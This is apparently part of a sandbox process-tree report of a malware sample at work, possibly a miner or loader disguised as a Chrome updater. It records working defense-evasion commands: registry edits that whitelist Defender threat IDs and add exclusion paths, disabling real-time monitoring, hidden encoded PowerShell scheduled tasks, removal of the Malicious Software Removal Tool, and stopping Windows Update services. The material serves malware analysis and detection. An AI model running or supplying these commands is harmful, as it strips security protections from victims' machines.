                                                                                                                                                                                                      PID:1504
                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:4400
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:5604
                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                            PID:1208
                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5136
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:2560
                                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                  PID:2648
                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4940
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:1232
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                      PID:2424
                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:2064
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:404
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\wermgr.exe
                                                                                                                                                                                                                      "C:\Windows\system32\wermgr.exe" "-outproc" "0" "404" "2188" "2152" "2192" "0" "0" "2196" "0" "0" "0" "0" "0"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:3188
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /CREATE /TN "gtdRULytX" /SC once /ST 00:59:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                      PID:5964
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /run /I /tn "gtdRULytX"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1204
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /DELETE /F /TN "gtdRULytX"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:4720
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                          schtasks /CREATE /TN "gkLEwIEYS" /SC once /ST 00:42:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                          PID:5492
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                          schtasks /run /I /tn "gkLEwIEYS"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:448
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /DELETE /F /TN "gkLEwIEYS"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:2396
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1416
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:2760
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:4524
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS6656.tmp\Install.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS6656.tmp\Install.exe it /uYUdidyHRB 385118 /S
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:4632
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 568
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                      PID:5284
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 192 -p 4632 -ip 4632
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:5960
                                                                                                                                                                                                                                    • C:\Windows\system32\dwm.exe
                                                                                                                                                                                                                                      "dwm.exe"
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:864
                                                                                                                                                                                                                                      • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                                                        C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:1232
                                                                                                                                                                                                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                            PID:5576
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1640
                                                                                                                                                                                                                                              • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                                                                wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:5940
                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                PID:4092
                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                PID:1800
                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                PID:5548
                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                PID:1320
                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                PID:4848
                                                                                                                                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:2128
                                                                                                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:3892
                                                                                                                                                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:4316
                                                                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:5596
                                                                                                                                                                                                                                                      • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:4400
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            PID:4524
                                                                                                                                                                                                                                                          • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                                                                            "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:4640
                                                                                                                                                                                                                                                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                PID:5376
                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                  PID:5372
                                                                                                                                                                                                                                                                  • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                                                                                    wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:6104
                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                    PID:5464
                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                    PID:5536
                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                    PID:2560
                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                    PID:4652
                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                    PID:4080
                                                                                                                                                                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:5176
                                                                                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:5368
                                                                                                                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:5548
                                                                                                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:3892
                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            explorer.exe
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:2500
                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                            PID:4788
                                                                                                                                                                                                                                                                          • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                                                                                            "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:5536
                                                                                                                                                                                                                                                                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                PID:6008
                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:2980
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                                                                                                    wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                      PID:1252
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                    PID:4524
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                    PID:2796
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                    PID:2708
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                    PID:3140
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                    PID:2688
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:6128
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:4632
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:5812
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:4092
                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                            explorer.exe
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:1276
                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                          explorer.exe
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:1324
